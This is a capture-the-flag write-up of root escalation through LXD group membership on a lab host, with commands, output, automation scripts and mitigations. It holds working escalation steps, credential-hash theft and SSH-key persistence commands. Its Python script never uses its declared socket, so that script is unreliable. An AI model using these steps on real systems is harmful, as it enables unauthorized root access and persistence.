LXD Group Privilege Escalation - CTF Writeup (lxddd)
- Target:
172.31.29.235 - User:
user / user - Category: Linux Privilege Escalation
- Vulnerability: LXD group membership (
lxd)
1. Summary
A non-privileged user belonging to the lxd Unix group can interact with the local LXD daemon (which runs as root). By creating a privileged container with the host filesystem bind-mounted inside it, the attacker gains root access to the entire host.
2. Enumeration
SSH into the target and enumerate group memberships and LXD availability.
1
2
3
4
5
6
7
ssh user@172.31.29.235
# Password: user
id
# uid=1004(user) gid=1005(user) groups=1005(user),997(lxd)
snap run lxd.lxc image list
Output:
1
2
3
4
5
+----------+--------------+--------+-----------------------------------+--------------+-----------+---------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+----------+--------------+--------+-----------------------------------+--------------+-----------+---------+------------------------------+
| myalpine | 7d9d520016d7 | no | Alpine 3.21 amd64 (20260513_0119) | x86_64 | CONTAINER | 3.09MiB | May 13, 2026 at 9:47am (UTC) |
+----------+--------------+--------+-----------------------------------+--------------+-----------+---------+------------------------------+
1
snap run lxd.lxc list
Output:
1
2
3
4
5
+------------------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------------------+---------+------+------+-----------+-----------+
| welcomed-gazelle | RUNNING | ... | ... | CONTAINER | 0 |
+------------------+---------+------+------+-----------+-----------+
Key findings:
- User is in the
lxdgroup (GID 997) - LXD is installed via snap (
lxdsnap v6.7) - An Alpine 3.21 image (
myalpine) already exists - A container (
welcomed-gazelle) is already running
3. Exploitation
Step 1 — Initialize a privileged container
Create a container with security.privileged=true. This disables UID/GID mapping so the container runs as real root on the host.
1
2
snap run lxd.lxc init myalpine privesc -c security.privileged=true
# Creating privesc
Step 2 — Bind-mount the host root filesystem
Add a disk device that maps the host / into the container at /mnt/host.
1
2
snap run lxd.lxc config device add privesc hostroot disk source=/ path=/mnt/host
# Device host-root added to privesc
Step 3 — Start the container
1
snap run lxd.lxc start privesc
Verify it is running:
1
snap run lxd.lxc list privesc
Step 4 — Execute shell inside the container as root
1
2
3
snap run lxd.lxc exec privesc -- /bin/sh
id
# uid=0(root) gid=0(root)
At this point we are root inside the container, but since the host root is mounted at /mnt/host, we have full access to the host filesystem.
4. Flag Retrieval
1
2
cat /mnt/host/root/flag.txt
# ctf{GieY5xeegeija9neisaep7kox2coo8ye}
5. Additional Post-Exploitation
With the host filesystem accessible, an attacker can:
- Extract password hashes:
cat /mnt/host/etc/shadow - Add SSH keys:
cat ~/.ssh/id_rsa.pub >> /mnt/host/root/.ssh/authorized_keys - Install backdoors:
chroot /mnt/host bash - Exfiltrate sensitive data
6. One-Liner PoC
For automation, the entire exploit can be run as:
1
expect -c ' set timeout 30 spawn ssh user@172.31.29.235 expect "password:" send "user\r" expect "$ " send "snap run lxd.lxc init myalpine privesc -c security.privileged=true\r" expect "$ " send "snap run lxd.lxc config device add privesc host-root disk source=/ path=/mnt/host\r" expect "$ " send "snap run lxd.lxc start privesc\r" expect "$ " send "snap run lxd.lxc exec privesc -- cat /mnt/host/root/flag.txt\r" expect "$ " send "exit\r" expect eof '
Or as a Python script using the LXD REST API directly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests, json
socket_path = "/var/snap/lxd/common/lxd/unix.socket"
# Create privileged container
r = requests.post("http://localhost/1.0/containers",
headers={"Content-Type": "application/json"},
data=json.dumps({
"name": "privesc",
"source": {"type": "image", "alias": "myalpine"},
"config": {"security.privileged": "true"},
"devices": {"host-root": {"type": "disk", "source": "/", "path": "/mnt/host"}}
}))
# Start it
requests.put("http://localhost/1.0/containers/privesc/state",
data=json.dumps({"action": "start"}))
7. Mitigation
To prevent this vulnerability:
| Mitigation | Description |
|---|---|
| Remove users from lxd group | Only trusted admins should be in the lxd group |
| Use lxd ACLs | Restrict who can access the LXD daemon via lxd config set core.trust_password |
| Audit group membership | Periodically check /etc/group for sensitive group memberships |
| AppArmor/SELinux | Enforce mandatory access controls on LXD |
| Avoid privilege escalation | Do not allow unprivileged users to create privileged containers |
The root cause is that the lxd group grants effective root-equivalent access because the LXD daemon runs as root and trusts any member of the lxd group with full API access.







